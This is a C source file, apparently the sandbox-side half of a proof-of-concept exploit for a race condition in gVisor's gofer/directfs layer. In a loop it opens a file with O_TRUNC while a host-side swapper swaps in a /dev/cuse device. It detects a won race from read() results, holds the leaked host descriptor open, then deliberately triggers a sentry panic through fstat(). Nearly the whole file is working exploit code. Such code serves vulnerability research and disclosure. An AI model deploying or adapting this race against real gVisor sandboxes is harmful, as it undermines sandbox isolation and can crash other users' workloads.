// guest_racer.c - runs INSIDE the gVisor sandbox.
// Repeatedly opens the raced file with O_RDWR|O_TRUNC. O_TRUNC forces
// gofer/directfs ensureSharedHandle() to obtain a fresh host handle via
// directfsInode.openHandle() -> openat(parent.controlFD, name, O_NOFOLLOW...)
// on EVERY open (see pkg/sentry/fsimpl/gofer/gofer.go ensureSharedHandle:
// "O_TRUNC unconditionally requires us to obtain a new handle").
//
// If the host-side swapper wins the revalidation->open-by-name window, the
// dentry is still typed as a regular file but openat() returns an FD to the
// swapped-in /dev/cuse character device. On the vulnerable release the FD is
// handed to the guest unchecked; on the fixed release openHandle() fstat()s
// the FD, sees S_IFCHR != S_IFREG and fails the open with ESTALE.
//
// Win classification WITHOUT fstat(): on the vulnerable release, fstat() of
// the won FD makes gofer refresh metadata from the host handle and panics the
// sentry with "directfsInode file type changed from 0100000 to 020000"
// (S_IFREG -> S_IFCHR) -- recorded evidence, but it kills the sandbox. So the
// loop classifies by read() instead:
//   - regular file (0 bytes due to O_TRUNC): read() == 0 (or 1 pre-truncate)
//   - /dev/cuse won FD: gofer regularFileFD.Read uses hostfd.Preadv2 on the
//     host FD; pread on a char device fails with ESPIPE -> read() == -1/ESPIPE
//     on a poll-ready FD that must be an empty regular file is impossible
//     unless the host FD is a non-seekable device.
// If a sentry ever services the read with plain read(2) instead, /dev/cuse
// immediately yields the kernel's CUSE_INIT handshake (FUSE opcode 4096),
// which is detected directly.
// After a win we sleep (so the host side can capture the sentry's open FD in
// /proc), then deliberately fstat() to surface the type-confusion panic as
// final confirmation.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <unistd.h>
#include <poll.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>

#define CUSE_INIT_OPCODE 4096

int main(int argc, char **argv) {
    if (argc < 3) { fprintf(stderr, "usage: %s <path> <seconds>\n", argv[0]); return 2; }
    const char *path = argv[1];
    int secs = atoi(argv[2]);
    struct timespec start, now;
    clock_gettime(CLOCK_MONOTONIC, &start);
    unsigned long opens = 0, regular = 0, estale = 0, eacces = 0, eperm = 0,
                  enxio = 0, eloop = 0, enoent = 0, eio = 0, other = 0;
    for (;;) {
        clock_gettime(CLOCK_MONOTONIC, &now);
        if (now.tv_sec - start.tv_sec >= secs) break;
        opens++;
        int fd = open(path, O_RDWR | O_TRUNC | O_CLOEXEC);
        if (fd < 0) {
            switch (errno) {
                case ESTALE: estale++; break;
                case EACCES: eacces++; break;
                case EPERM:  eperm++;  break;
                case ENXIO:  enxio++;  break;
                case ELOOP:  eloop++;  break;
                case ENOENT: enoent++; break;
                case EIO:    eio++;    break;
                default:
                    other++;
                    if (other <= 5)
                        fprintf(stderr, "open(%s) errno=%d (%s)\n", path, errno, strerror(errno));
            }
            continue;
        }
        struct pollfd pfd = { .fd = fd, .events = POLLIN };
        int pr = poll(&pfd, 1, 2000);
        if (pr <= 0 || !(pfd.revents & POLLIN)) {
            // A ready-less poll on an empty regular file never happens; do
            // not treat it as a win, just count it.
            other++;
            close(fd);
            continue;
        }
        unsigned char buf[256];
        errno = 0;
        ssize_t n = read(fd, buf, sizeof buf);
        if (n == 0 || n == 1) {
            regular++;
            close(fd);
            continue;
        }
        if (n >= 8) {
            uint32_t len = 0, opcode = 0;
            memcpy(&len, buf, 4);
            memcpy(&opcode, buf + 4, 4);
            if (opcode == CUSE_INIT_OPCODE) {
                printf("GUEST_WIN_CUSE_INIT: sandbox read live CUSE_INIT handshake from won host FD: read=%zd fuse_hdr.len=%u opcode=%u opens=%lu\n",
                       n, len, opcode, opens);
            } else {
                printf("GUEST_WIN_ANOMALY: read %zd bytes from a truncated empty regular file (impossible unless host FD was swapped); hdr.len=%u opcode=%u opens=%lu\n",
                       n, len, opcode, opens);
            }
        } else {
            // n < 0: pread via sentry on a non-seekable host FD.
            printf("GUEST_WIN_NONSEEKABLE: read() on freshly opened empty-regular-file FD failed with errno=%d (%s): host FD is a non-seekable device (preadv2->ESPIPE), opens=%lu\n",
                   errno, strerror(errno), opens);
        }
        fflush(stdout);
        // Hold the host FD open so host-side /proc/<sentry>/fd inspection can
        // capture the sentry holding the /dev/cuse character device FD.
        sleep(3);
        // Deliberately fstat(): on the vulnerable release this refreshes
        // gofer metadata from the host handle and panics the sentry with
        // "directfsInode file type changed from 0100000 to 020000". If it
        // returns instead, print the host-side device identity directly.
        struct stat st;
        if (fstat(fd, &st) == 0) {
            printf("FSTAT_AFTER_WIN: mode=%o (%s) rdev=%u:%u\n",
                   st.st_mode, S_ISCHR(st.st_mode) ? "S_IFCHR" : "other",
                   major(st.st_rdev), minor(st.st_rdev));
        } else {
            printf("FSTAT_AFTER_WIN: errno=%d (%s)\n", errno, strerror(errno));
        }
        fflush(stdout);
        return 0;
    }
    printf("GUEST_NOWIN: opens=%lu regular=%lu estale=%lu eacces=%lu eperm=%lu enxio=%lu eloop=%lu enoent=%lu eio=%lu other=%lu\n",
           opens, regular, estale, eacces, eperm, enxio, eloop, enoent, eio, other);
    return 1;
}
